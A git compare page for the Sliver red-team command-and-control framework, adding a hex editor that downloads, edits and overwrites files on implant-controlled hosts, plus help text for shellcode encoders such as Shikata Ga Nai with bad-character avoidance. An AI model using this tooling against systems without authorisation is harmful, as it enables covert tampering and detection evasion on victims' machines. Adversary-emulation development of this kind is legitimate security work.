Compare commits

..
40 changed files with 3880 additions and 1239 deletions

No files matched your search

+28 -2
View File
@@ -48,8 +48,21 @@ jobs:
- name: Make Linux (amd64)
run: make linux-amd64
- name: Determine go-tests flags
id: go-tests-flags
shell: bash
run: |
set -euo pipefail
base_sha="${{ github.event.pull_request.base.sha }}"
head_sha="${{ github.sha }}"
if git diff --name-only "$base_sha" "$head_sha" | grep -qE '^(implant/|server/gogo/|server/generate/)'; then
echo "args=" >> "$GITHUB_OUTPUT"
else
echo "args=--skip-generate" >> "$GITHUB_OUTPUT"
fi
- name: Test Linux
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh ${{ steps.go-tests-flags.outputs.args }}
macos-build-test:
@@ -74,8 +87,21 @@ jobs:
- name: Make MacOS (arm64)
run: make macos-arm64
- name: Determine go-tests flags
id: go-tests-flags
shell: bash
run: |
set -euo pipefail
base_sha="${{ github.event.pull_request.base.sha }}"
head_sha="${{ github.sha }}"
if git diff --name-only "$base_sha" "$head_sha" | grep -qE '^(implant/|server/gogo/|server/generate/)'; then
echo "args=" >> "$GITHUB_OUTPUT"
else
echo "args=--skip-generate" >> "$GITHUB_OUTPUT"
fi
- name: Test MacOS
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh ${{ steps.go-tests-flags.outputs.args }}
clients-build:
name: Clients Build
+1 -1
View File
@@ -115,7 +115,7 @@ func Setup(force bool, echo bool) {
if force || localVer == "" || localVer != ver.GitCommit {
if echo {
fmt.Printf(`
Sliver Copyright (C) 2025 Bishop Fox
Sliver Copyright (C) 2026 Bishop Fox
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
This is free software, and you are welcome to redistribute it
under certain conditions; type 'licenses' for details.`)
+80 -34
View File
@@ -47,40 +47,44 @@ var (
consts.GenerateStr: generateHelp,
consts.StageListenerStr: stageListenerHelp,
consts.MsfStr: msfHelp,
consts.MsfInjectStr: msfInjectHelp,
consts.PsStr: psHelp,
consts.PingStr: pingHelp,
consts.KillStr: killHelp,
consts.LsStr: lsHelp,
consts.CdStr: cdHelp,
consts.PwdStr: pwdHelp,
consts.CatStr: catHelp,
consts.EditStr: editHelp,
consts.DownloadStr: downloadHelp,
consts.GrepStr: grepHelp,
consts.HeadStr: headHelp,
consts.TailStr: tailHelp,
consts.UploadStr: uploadHelp,
consts.MkdirStr: mkdirHelp,
consts.RmStr: rmHelp,
consts.ChtimesStr: chtimesHelp,
consts.ProcdumpStr: procdumpHelp,
consts.ElevateStr: elevateHelp,
consts.RunAsStr: runAsHelp,
consts.ImpersonateStr: impersonateHelp,
consts.RevToSelfStr: revToSelfHelp,
consts.ExecuteStr: executeHelp,
consts.ExecuteAssemblyStr: executeAssemblyHelp,
consts.ExecuteShellcodeStr: executeShellcodeHelp,
consts.MigrateStr: migrateHelp,
consts.SideloadStr: sideloadHelp,
consts.TerminateStr: terminateHelp,
consts.AliasesStr: loadAliasHelp,
consts.PsExecStr: psExecHelp,
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
consts.MountStr: mountHelp,
consts.MsfStr: msfHelp,
consts.MsfInjectStr: msfInjectHelp,
consts.PsStr: psHelp,
consts.PingStr: pingHelp,
consts.KillStr: killHelp,
consts.LsStr: lsHelp,
consts.CdStr: cdHelp,
consts.PwdStr: pwdHelp,
consts.CatStr: catHelp,
consts.EditStr: editHelp,
consts.HexEditStr: hexEditHelp,
consts.DownloadStr: downloadHelp,
consts.GrepStr: grepHelp,
consts.HeadStr: headHelp,
consts.TailStr: tailHelp,
consts.UploadStr: uploadHelp,
consts.MkdirStr: mkdirHelp,
consts.RmStr: rmHelp,
consts.ChtimesStr: chtimesHelp,
consts.ProcdumpStr: procdumpHelp,
consts.ElevateStr: elevateHelp,
consts.RunAsStr: runAsHelp,
consts.ImpersonateStr: impersonateHelp,
consts.RevToSelfStr: revToSelfHelp,
consts.ExecuteStr: executeHelp,
consts.ExecuteAssemblyStr: executeAssemblyHelp,
consts.ExecuteShellcodeStr: executeShellcodeHelp,
consts.MigrateStr: migrateHelp,
consts.SideloadStr: sideloadHelp,
consts.TerminateStr: terminateHelp,
consts.AliasesStr: loadAliasHelp,
consts.PsExecStr: psExecHelp,
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
consts.MountStr: mountHelp,
consts.ShikataGaNai: shikataGaNaiHelp,
consts.ShellcodeEncodersStr: shellcodeEncodersHelp,
consts.ShellcodeEncodersStr + sep + "encode": shellcodeEncodersEncodeHelp,
consts.WebsitesStr: websitesHelp,
consts.ScreenshotStr: screenshotHelp,
@@ -327,6 +331,12 @@ chtimes --rfc1123 /tmp/file "Mon, 02 Jan 2006 15:04:05 MST" "Mon, 02 Jan 2006 16
[[.Bold]]Syntax:[[.Normal]] Use --syntax <lexer> to force a lexer or --syntax-select to pick one interactively.
[[.Bold]]Line Numbers:[[.Normal]] Use --line-numbers to start with line numbers on; toggle with :n.`
hexEditHelp = `[[.Bold]]Command:[[.Normal]] hex-edit [--max-size <size>] [--offset <byte offset>] <remote path>
[[.Bold]]About:[[.Normal]] Download a remote file and edit it in a built-in hex editor, then optionally upload changes.
[[.Bold]]Keys:[[.Normal]] Normal mode uses vim-like navigation (h/j/k/l). Use i for hex edit mode, a for ASCII edit mode, :wq to save+quit or :q to quit.
[[.Bold]]Size Limit:[[.Normal]] Default max size is 8MB. Use --max-size to override (e.g., 512KB, 12MB).
[[.Bold]]Offset:[[.Normal]] Use --offset to jump to a specific byte offset when opening the file.`
downloadHelp = `[[.Bold]]Command:[[.Normal]] download [remote src] <local dst>
[[.Bold]]About:[[.Normal]] Download a file or directory from the remote system. Directories will be downloaded as a gzipped TAR file.
[[.Bold]][[.Underline]]Filters[[.Normal]]
@@ -411,6 +421,42 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
Shellcode files should be binary encoded, you can generate Sliver shellcode files with the generate command:
generate --format shellcode
`
shikataGaNaiHelp = `[[.Bold]]Command:[[.Normal]] shikata-ga-nai [local path to raw shellcode]
[[.Bold]]About:[[.Normal]] Encodes shellcode with Shikata Ga Nai. This uses the same backend implementation as
[[.Bold]]shellcode-encoders encode[[.Normal]] with the shikata_ga_nai encoder, but exposes SGN-specific options
like architecture, iterations, and bad characters.
[[.Bold]][[.Underline]]++ Examples ++[[.Normal]]
Encode x64 shellcode with 3 iterations:
shikata-ga-nai -a amd64 -i 3 /tmp/payload.bin
Avoid bad chars and write to a file:
shikata-ga-nai -b 000a0d -s /tmp/payload.sgn /tmp/payload.bin
[[.Bold]]Related:[[.Normal]] shellcode-encoders encode --encoder shikata_ga_nai ...`
shellcodeEncodersHelp = `[[.Bold]]Command:[[.Normal]] shellcode-encoders
[[.Bold]]About:[[.Normal]] Lists the shellcode encoders supported by the server along with architectures and descriptions.
[[.Bold]][[.Underline]]++ Examples ++[[.Normal]]
List encoders and supported architectures:
shellcode-encoders
`
shellcodeEncodersEncodeHelp = `[[.Bold]]Command:[[.Normal]] shellcode-encoders encode [local path to raw shellcode]...
[[.Bold]]About:[[.Normal]] Encodes one or more shellcode files using a server-side encoder. Encoder support depends on
architecture; use [[.Bold]]shellcode-encoders[[.Normal]] to list valid combinations.
[[.Bold]][[.Underline]]++ Examples ++[[.Normal]]
Encode a single file with shikata_ga_nai:
shellcode-encoders encode --encoder shikata_ga_nai --arch amd64 /tmp/payload.bin
Encode multiple files and write outputs to a directory:
shellcode-encoders encode --encoder xor --arch amd64 -o /tmp/out payload1.bin payload2.bin
Avoid bad characters with SGN:
shellcode-encoders encode --encoder shikata_ga_nai --arch 386 -b 000a0d -o /tmp/encoded.bin /tmp/payload.bin
`
migrateHelp = `[[.Bold]]Command:[[.Normal]] migrate <flags>
[[.Bold]]About:[[.Normal]] (Windows Only) Migrates into the process designated by <flags>.`
+37
View File
@@ -0,0 +1,37 @@
package hexedit
import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
// Commands returns the hex-edit command.
func Commands(con *console.SliverClient) []*cobra.Command {
hexEditCmd := &cobra.Command{
Use: consts.HexEditStr + " <remote path>",
Short: "Hex edit a remote file",
Long: help.GetHelpFor([]string{consts.HexEditStr}),
Args: cobra.ExactArgs(1),
GroupID: consts.FilesystemHelpGroup,
Run: func(cmd *cobra.Command, args []string) {
HexEditCmd(cmd, con, args)
},
}
flags.Bind("", false, hexEditCmd, func(f *pflag.FlagSet) {
f.String("max-size", "8MB", "maximum file size to load (e.g. 8MB, 512KB)")
f.Int64("offset", 0, "byte offset to jump to (decimal or 0x...)")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
carapace.Gen(hexEditCmd).PositionalCompletion(
carapace.ActionValues().Usage("path to the remote file to hex edit"),
)
return []*cobra.Command{hexEditCmd}
}
+713
View File
@@ -0,0 +1,713 @@
package hexedit
import (
"fmt"
"strconv"
"strings"
"github.com/bishopfox/sliver/util"
tea "github.com/charmbracelet/bubbletea"
"github.com/charmbracelet/lipgloss"
"golang.org/x/term"
)
type editorMode int
const (
modeNormal editorMode = iota
modeHexEdit
modeASCIIEdit
modeCommand
)
type exitAction int
const (
actionNone exitAction = iota
actionQuit
actionSaveQuit
)
const bytesPerLine = 16
type editorResult struct {
Data []byte
Modified bool
Action exitAction
Force bool
}
type editorModel struct {
data []byte
original []byte
modified []bool
modifiedCount int
cursor int
top int
width int
height int
mode editorMode
command string
commandPrefix rune
pending rune
dirty bool
forceQuit bool
action exitAction
filename string
message string
clearMessage bool
nibbleSet bool
nibbleValue byte
}
var (
cursorStyle = lipgloss.NewStyle().Reverse(true)
modifiedStyle = lipgloss.NewStyle().Foreground(lipgloss.Color("215"))
modifiedCursorStyle = lipgloss.NewStyle().Foreground(lipgloss.Color("215")).Reverse(true)
statusStyle = lipgloss.NewStyle().Reverse(true)
lineStyle = lipgloss.NewStyle()
)
func newEditorModel(data []byte, filename string, offset int) *editorModel {
copyData := append([]byte(nil), data...)
model := &editorModel{
data: copyData,
original: append([]byte(nil), data...),
modified: make([]bool, len(copyData)),
mode: modeNormal,
filename: filename,
commandPrefix: ':',
}
if offset > 0 && offset < len(copyData) {
model.cursor = offset
}
return model
}
func (m *editorModel) Init() tea.Cmd {
if m.width == 0 || m.height == 0 {
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
m.width = w
m.height = h
} else {
m.width = 80
m.height = 24
}
m.ensureCursorVisible()
}
return nil
}
func (m *editorModel) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
switch msg := msg.(type) {
case tea.WindowSizeMsg:
m.width = msg.Width
m.height = msg.Height
m.ensureCursorVisible()
return m, nil
case tea.KeyMsg:
if m.clearMessage {
m.message = ""
m.clearMessage = false
}
if msg.Type == tea.KeyCtrlC {
m.action = actionQuit
return m, tea.Quit
}
switch m.mode {
case modeCommand:
return m.handleCommand(msg)
case modeHexEdit:
return m.handleHexEdit(msg)
case modeASCIIEdit:
return m.handleASCIIEdit(msg)
default:
return m.handleNormal(msg)
}
}
return m, nil
}
func (m *editorModel) View() string {
if m.width == 0 || m.height == 0 {
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
m.width = w
m.height = h
} else {
m.width = 80
m.height = 24
}
m.ensureCursorVisible()
}
textHeight := m.textHeight()
var b strings.Builder
for i := 0; i < textHeight; i++ {
lineIndex := m.top + i
b.WriteString(m.renderLine(lineIndex))
if i < textHeight-1 {
b.WriteByte('\n')
}
}
if m.height < 2 {
return b.String()
}
b.WriteByte('\n')
b.WriteString(statusStyle.Width(m.width).Render(m.statusLine()))
if m.height < 3 {
return b.String()
}
b.WriteByte('\n')
b.WriteString(lineStyle.Width(m.width).Render(m.commandLine()))
return b.String()
}
func (m *editorModel) result() editorResult {
data := append([]byte(nil), m.data...)
return editorResult{
Data: data,
Modified: m.dirty,
Action: m.action,
Force: m.forceQuit,
}
}
func (m *editorModel) handleCommand(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
case tea.KeyEsc:
m.mode = modeNormal
m.command = ""
m.commandPrefix = ':'
case tea.KeyEnter:
m.executeCommand(strings.TrimSpace(m.command))
m.command = ""
m.mode = modeNormal
m.commandPrefix = ':'
if m.action != actionNone {
return m, tea.Quit
}
case tea.KeyBackspace:
m.command = popRune(m.command)
case tea.KeyRunes:
m.command += string(msg.Runes)
}
return m, nil
}
func (m *editorModel) handleHexEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
case tea.KeyEsc:
m.mode = modeNormal
m.nibbleSet = false
case tea.KeyBackspace:
if m.nibbleSet {
m.nibbleSet = false
return m, nil
}
m.moveLeft()
case tea.KeyLeft:
m.moveLeft()
m.nibbleSet = false
case tea.KeyRight:
m.moveRight()
m.nibbleSet = false
case tea.KeyUp:
m.moveUp()
m.nibbleSet = false
case tea.KeyDown:
m.moveDown()
m.nibbleSet = false
case tea.KeyRunes:
for _, r := range msg.Runes {
val, ok := hexNibble(r)
if !ok {
continue
}
if !m.nibbleSet {
m.nibbleValue = val << 4
m.nibbleSet = true
continue
}
m.setByte(m.nibbleValue | val)
m.nibbleSet = false
m.moveRight()
}
}
m.ensureCursorVisible()
return m, nil
}
func (m *editorModel) handleASCIIEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
case tea.KeyEsc:
m.mode = modeNormal
case tea.KeyLeft:
m.moveLeft()
case tea.KeyRight:
m.moveRight()
case tea.KeyUp:
m.moveUp()
case tea.KeyDown:
m.moveDown()
case tea.KeyRunes:
for _, r := range msg.Runes {
if r < 0 || r > 0xFF {
continue
}
m.setByte(byte(r))
m.moveRight()
}
}
m.ensureCursorVisible()
return m, nil
}
func (m *editorModel) handleNormal(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
case tea.KeyEsc:
m.pending = 0
case tea.KeyLeft:
m.moveLeft()
case tea.KeyRight:
m.moveRight()
case tea.KeyUp:
m.moveUp()
case tea.KeyDown:
m.moveDown()
case tea.KeyRunes:
for _, r := range msg.Runes {
if m.handleNormalRune(r) {
break
}
}
}
m.ensureCursorVisible()
return m, nil
}
func (m *editorModel) handleNormalRune(r rune) bool {
if m.pending != 0 {
handled := true
switch m.pending {
case 'g':
if r == 'g' {
m.gotoTop()
} else {
handled = false
}
default:
handled = false
}
m.pending = 0
if handled {
return true
}
}
switch r {
case 'h':
m.moveLeft()
case 'j':
m.moveDown()
case 'k':
m.moveUp()
case 'l':
m.moveRight()
case '0':
m.moveLineStart()
case '$':
m.moveLineEnd()
case 'i':
m.mode = modeHexEdit
m.nibbleSet = false
case 'a':
m.mode = modeASCIIEdit
case 'x':
m.setByte(0x00)
case 'g':
m.pending = 'g'
case 'G':
m.gotoBottom()
case ':':
m.mode = modeCommand
m.command = ""
m.commandPrefix = ':'
}
return false
}
func (m *editorModel) executeCommand(cmd string) {
if cmd == "" {
return
}
if isNumericOffset(cmd) {
if value, err := strconv.ParseInt(cmd, 0, 64); err == nil {
m.gotoOffset(int(value))
return
}
}
switch strings.ToLower(cmd) {
case "q":
m.action = actionQuit
case "q!":
m.action = actionQuit
m.forceQuit = true
case "wq", "x":
m.action = actionSaveQuit
case "w":
m.message = "Use :wq to upload and exit"
m.clearMessage = true
default:
m.message = fmt.Sprintf("Unknown command: %s", cmd)
m.clearMessage = true
}
}
func (m *editorModel) renderLine(lineIndex int) string {
totalWidth := m.textWidth()
if totalWidth <= 0 {
return ""
}
if lineIndex >= m.totalLines() {
return lineStyle.Width(totalWidth).Render("~")
}
lineStart := lineIndex * bytesPerLine
hexCells := make([]string, bytesPerLine)
asciiCells := make([]string, bytesPerLine)
for i := 0; i < bytesPerLine; i++ {
idx := lineStart + i
if idx >= len(m.data) {
hexCells[i] = " "
asciiCells[i] = " "
continue
}
byteVal := m.data[idx]
hexRaw := fmt.Sprintf("%02x", byteVal)
if idx == m.cursor && m.mode == modeHexEdit && m.nibbleSet {
hexRaw = string([]byte{hexChar(m.nibbleValue >> 4), '_'})
}
asciiRaw := string(printableByte(byteVal))
isModified := m.isModified(idx)
if idx == m.cursor {
if isModified {
hexCells[i] = modifiedCursorStyle.Render(hexRaw)
asciiCells[i] = modifiedCursorStyle.Render(asciiRaw)
} else {
hexCells[i] = cursorStyle.Render(hexRaw)
asciiCells[i] = cursorStyle.Render(asciiRaw)
}
continue
}
if isModified {
hexCells[i] = modifiedStyle.Render(hexRaw)
asciiCells[i] = modifiedStyle.Render(asciiRaw)
continue
}
hexCells[i] = hexRaw
asciiCells[i] = asciiRaw
}
var b strings.Builder
b.WriteString(fmt.Sprintf("%08x", lineStart))
b.WriteString(": ")
for i := 0; i < bytesPerLine; i++ {
if i == 8 {
b.WriteByte(' ')
}
b.WriteString(hexCells[i])
if i < bytesPerLine-1 {
b.WriteByte(' ')
}
}
b.WriteString(" |")
for i := 0; i < bytesPerLine; i++ {
b.WriteString(asciiCells[i])
}
b.WriteString("|")
return lineStyle.Width(totalWidth).Render(b.String())
}
func (m *editorModel) statusLine() string {
mode := "NORMAL"
switch m.mode {
case modeHexEdit:
mode = "HEX"
case modeASCIIEdit:
mode = "ASCII"
case modeCommand:
mode = "COMMAND"
}
fileName := baseName(m.filename)
if fileName == "" {
fileName = "[No Name]"
}
modified := ""
if m.dirty {
modified = " [+]"
}
cursor := m.cursor
return fmt.Sprintf(" %s %s Off 0x%08x (%d) Size %s%s", mode, fileName, cursor, cursor, util.ByteCountBinary(int64(len(m.data))), modified)
}
func (m *editorModel) commandLine() string {
if m.mode == modeCommand {
return ":" + m.command
}
if m.message != "" {
return m.message
}
switch m.mode {
case modeHexEdit:
return "ESC: normal hex: 0-9/a-f :wq save+quit :q quit"
case modeASCIIEdit:
return "ESC: normal type to edit bytes :wq save+quit :q quit"
default:
return "i: hex edit a: ascii edit h/j/k/l move x zero :wq save+quit :q quit"
}
}
func (m *editorModel) textHeight() int {
if m.height <= 2 {
return 1
}
return m.height - 2
}
func (m *editorModel) textWidth() int {
if m.width <= 0 {
return 1
}
return m.width
}
func (m *editorModel) totalLines() int {
if len(m.data) == 0 {
return 1
}
return (len(m.data) + bytesPerLine - 1) / bytesPerLine
}
func (m *editorModel) ensureCursorVisible() {
if len(m.data) == 0 {
m.cursor = 0
m.top = 0
return
}
if m.cursor < 0 {
m.cursor = 0
}
if m.cursor >= len(m.data) {
m.cursor = len(m.data) - 1
}
line := m.cursor / bytesPerLine
height := m.textHeight()
if line < m.top {
m.top = line
} else if line >= m.top+height {
m.top = line - height + 1
}
if m.top < 0 {
m.top = 0
}
maxTop := m.totalLines() - height
if maxTop < 0 {
maxTop = 0
}
if m.top > maxTop {
m.top = maxTop
}
}
func (m *editorModel) moveLeft() {
if len(m.data) == 0 {
return
}
if m.cursor > 0 {
m.cursor--
}
}
func (m *editorModel) moveRight() {
if len(m.data) == 0 {
return
}
if m.cursor < len(m.data)-1 {
m.cursor++
}
}
func (m *editorModel) moveUp() {
if len(m.data) == 0 {
return
}
if m.cursor >= bytesPerLine {
m.cursor -= bytesPerLine
}
}
func (m *editorModel) moveDown() {
if len(m.data) == 0 {
return
}
if m.cursor+bytesPerLine < len(m.data) {
m.cursor += bytesPerLine
}
}
func (m *editorModel) moveLineStart() {
if len(m.data) == 0 {
return
}
line := m.cursor / bytesPerLine
m.cursor = line * bytesPerLine
}
func (m *editorModel) moveLineEnd() {
if len(m.data) == 0 {
return
}
line := m.cursor / bytesPerLine
end := (line+1)*bytesPerLine - 1
if end >= len(m.data) {
end = len(m.data) - 1
}
m.cursor = end
}
func (m *editorModel) gotoTop() {
if len(m.data) == 0 {
m.cursor = 0
return
}
m.cursor = 0
}
func (m *editorModel) gotoBottom() {
if len(m.data) == 0 {
m.cursor = 0
return
}
m.cursor = len(m.data) - 1
}
func (m *editorModel) gotoOffset(offset int) {
if len(m.data) == 0 {
m.message = "Empty file"
m.clearMessage = true
return
}
if offset < 0 || offset >= len(m.data) {
m.message = fmt.Sprintf("Offset out of range: %d", offset)
m.clearMessage = true
return
}
m.cursor = offset
m.ensureCursorVisible()
}
func (m *editorModel) setByte(value byte) {
if len(m.data) == 0 {
m.message = "Empty file"
m.clearMessage = true
return
}
if m.cursor >= len(m.data) || m.cursor >= len(m.original) {
return
}
wasModified := m.modified[m.cursor]
orig := m.original[m.cursor]
m.data[m.cursor] = value
if value == orig {
if wasModified {
m.modified[m.cursor] = false
if m.modifiedCount > 0 {
m.modifiedCount--
}
}
} else if !wasModified {
m.modified[m.cursor] = true
m.modifiedCount++
}
m.dirty = m.modifiedCount > 0
}
func printableByte(b byte) byte {
if b >= 32 && b <= 126 {
return b
}
return '.'
}
func (m *editorModel) isModified(idx int) bool {
if idx < 0 || idx >= len(m.modified) {
return false
}
return m.modified[idx]
}
func hexChar(n byte) byte {
if n < 10 {
return '0' + n
}
return 'a' + (n - 10)
}
func hexNibble(r rune) (byte, bool) {
switch {
case r >= '0' && r <= '9':
return byte(r - '0'), true
case r >= 'a' && r <= 'f':
return byte(r-'a') + 10, true
case r >= 'A' && r <= 'F':
return byte(r-'A') + 10, true
}
return 0, false
}
func isNumericOffset(value string) bool {
value = strings.TrimSpace(value)
if value == "" {
return false
}
if strings.HasPrefix(strings.ToLower(value), "0x") {
_, err := strconv.ParseInt(value, 0, 64)
return err == nil
}
for _, r := range value {
if r < '0' || r > '9' {
return false
}
}
return true
}
func popRune(value string) string {
runes := []rune(value)
if len(runes) == 0 {
return value
}
return string(runes[:len(runes)-1])
}
func baseName(path string) string {
if path == "" {
return ""
}
clean := strings.ReplaceAll(path, "\\", "/")
if idx := strings.LastIndex(clean, "/"); idx != -1 {
return clean[idx+1:]
}
return path
}
+349
View File
@@ -0,0 +1,349 @@
package hexedit
import (
"context"
"errors"
"fmt"
"strconv"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/filesystem"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/bishopfox/sliver/util/encoders"
tea "github.com/charmbracelet/bubbletea"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
)
const (
beaconPollInterval = 1 * time.Second
)
// HexEditCmd downloads a remote file, opens it in a hex editor, and optionally uploads changes.
func HexEditCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
remotePath := strings.TrimSpace(args[0])
if remotePath == "" {
con.PrintErrorf("Missing parameter: remote path\n")
return
}
maxSizeStr, _ := cmd.Flags().GetString("max-size")
maxSize, err := parseByteSize(maxSizeStr)
if err != nil {
con.PrintErrorf("Invalid --max-size %q: %s\n", maxSizeStr, err)
return
}
if maxSize <= 0 {
con.PrintErrorf("--max-size must be greater than zero\n")
return
}
offset, _ := cmd.Flags().GetInt64("offset")
if offset < 0 {
con.PrintErrorf("--offset must be zero or positive\n")
return
}
fetchSize := maxSize + 1
if fetchSize < maxSize {
fetchSize = maxSize
}
ctx, cancel := con.GrpcContext(cmd)
defer cancel()
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
download, err := downloadRemote(ctx, con, cmd, remotePath, fetchSize)
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
if !download.Exists {
con.PrintErrorf("Remote file does not exist: %s\n", remotePath)
return
}
if download.IsDir {
con.PrintErrorf("Remote path is a directory: %s\n", download.Path)
return
}
data := download.Data
if download.Encoder == "gzip" {
data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s\n", err)
return
}
}
if int64(len(data)) > maxSize {
con.PrintErrorf("Remote file size %s exceeds --max-size %s\n", util.ByteCountBinary(int64(len(data))), util.ByteCountBinary(maxSize))
return
}
if offset > 0 {
if len(data) == 0 {
con.PrintErrorf("Offset %d out of range for empty file\n", offset)
return
}
if offset >= int64(len(data)) {
con.PrintErrorf("Offset %d out of range (file size %d bytes)\n", offset, len(data))
return
}
}
path := download.Path
if path == "" {
path = remotePath
}
for {
result, err := runHexEditor(data, path, int(offset))
if err != nil {
con.PrintErrorf("Editor error: %s\n", err)
return
}
data = result.Data
if result.Action == actionNone {
return
}
if !result.Modified {
if result.Action == actionSaveQuit {
con.PrintInfof("No changes to upload for %s\n", path)
}
return
}
switch result.Action {
case actionSaveQuit:
uploadNow, err := confirm("Upload changes to remote file (overwrite)?")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if !uploadNow {
keepEditing, err := confirm("Continue editing?")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if keepEditing {
continue
}
return
}
if err := uploadEditedContent(cmd, con, path, data); err != nil {
con.PrintErrorf("%s\n", err)
}
return
case actionQuit:
if result.Force {
return
}
discard, err := confirm("Discard changes?")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if discard {
return
}
}
}
}
func runHexEditor(data []byte, filename string, offset int) (editorResult, error) {
model := newEditorModel(data, filename, offset)
program := tea.NewProgram(model, tea.WithAltScreen())
finalModel, err := program.Run()
if err != nil {
return editorResult{}, err
}
editor, ok := finalModel.(*editorModel)
if !ok {
return editorResult{}, fmt.Errorf("unexpected editor state")
}
return editor.result(), nil
}
func downloadRemote(ctx context.Context, con *console.SliverClient, cmd *cobra.Command, path string, maxBytes int64) (*sliverpb.Download, error) {
download, err := con.Rpc.Download(ctx, &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(cmd),
Path: path,
RestrictedToFile: true,
MaxBytes: maxBytes,
})
if err != nil {
return nil, err
}
if download.Response != nil && download.Response.Async {
taskID := download.Response.TaskID
download = &sliverpb.Download{}
if err := waitForBeaconTaskResponse(ctx, con, taskID, download); err != nil {
return nil, err
}
}
return download, nil
}
func uploadEditedContent(cmd *cobra.Command, con *console.SliverClient, path string, data []byte) error {
ctx, cancel := con.GrpcContext(cmd)
defer cancel()
uploadData, err := new(encoders.Gzip).Encode(data)
if err != nil {
return err
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Uploading %s ...", path), ctrl)
upload, err := con.Rpc.Upload(ctx, &sliverpb.UploadReq{
Request: con.ActiveTarget.Request(cmd),
Path: path,
Data: uploadData,
Encoder: "gzip",
IsDirectory: false,
Overwrite: true,
})
if err == nil && upload.Response != nil && upload.Response.Async {
taskID := upload.Response.TaskID
upload = &sliverpb.Upload{}
err = waitForBeaconTaskResponse(ctx, con, taskID, upload)
}
ctrl <- true
<-ctrl
if err != nil {
return err
}
filesystem.PrintUpload(upload, con)
return nil
}
func waitForBeaconTaskResponse(ctx context.Context, con *console.SliverClient, taskID string, out proto.Message) error {
task, err := waitForBeaconTask(ctx, con, taskID)
if err != nil {
return err
}
state := strings.ToLower(task.State)
if state != "completed" {
if state == "" {
state = "unknown"
}
return fmt.Errorf("beacon task %s %s", task.ID, state)
}
if len(task.Response) == 0 {
return fmt.Errorf("beacon task %s returned empty response", task.ID)
}
return proto.Unmarshal(task.Response, out)
}
func waitForBeaconTask(ctx context.Context, con *console.SliverClient, taskID string) (*clientpb.BeaconTask, error) {
ticker := time.NewTicker(beaconPollInterval)
defer ticker.Stop()
for {
task, err := con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{ID: taskID})
if err != nil {
return nil, err
}
state := strings.ToLower(task.State)
if state == "completed" || state == "failed" || state == "canceled" {
return task, nil
}
select {
case <-ctx.Done():
return nil, ctx.Err()
case <-ticker.C:
}
}
}
func confirm(title string) (bool, error) {
answer := false
if err := forms.Confirm(title, &answer); err != nil {
if errors.Is(err, forms.ErrUserAborted) {
return false, nil
}
return false, err
}
return answer, nil
}
func parseByteSize(input string) (int64, error) {
value := strings.TrimSpace(input)
if value == "" {
return 0, fmt.Errorf("size is required")
}
value = strings.ReplaceAll(value, " ", "")
value = strings.ToUpper(value)
idx := 0
for idx < len(value) {
c := value[idx]
if (c >= '0' && c <= '9') || c == '.' {
idx++
continue
}
break
}
if idx == 0 {
return 0, fmt.Errorf("invalid size %q", input)
}
numStr := value[:idx]
unitStr := strings.TrimSpace(value[idx:])
if unitStr == "" {
unitStr = "B"
}
multiplier := int64(1)
switch unitStr {
case "B":
multiplier = 1
case "K", "KB", "KIB":
multiplier = 1024
case "M", "MB", "MIB":
multiplier = 1024 * 1024
case "G", "GB", "GIB":
multiplier = 1024 * 1024 * 1024
case "T", "TB", "TIB":
multiplier = 1024 * 1024 * 1024 * 1024
default:
return 0, fmt.Errorf("unknown size unit %q", unitStr)
}
numVal, err := strconv.ParseFloat(numStr, 64)
if err != nil {
return 0, fmt.Errorf("invalid size %q", input)
}
if numVal <= 0 {
return 0, fmt.Errorf("size must be greater than zero")
}
size := int64(numVal * float64(multiplier))
if size <= 0 {
return 0, fmt.Errorf("size is out of range")
}
return size, nil
}
+3 -1
View File
@@ -46,6 +46,7 @@ import (
"github.com/bishopfox/sliver/client/command/reaction"
"github.com/bishopfox/sliver/client/command/sessions"
"github.com/bishopfox/sliver/client/command/settings"
shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
sgn "github.com/bishopfox/sliver/client/command/shikata-ga-nai"
"github.com/bishopfox/sliver/client/command/socks"
"github.com/bishopfox/sliver/client/command/taskmany"
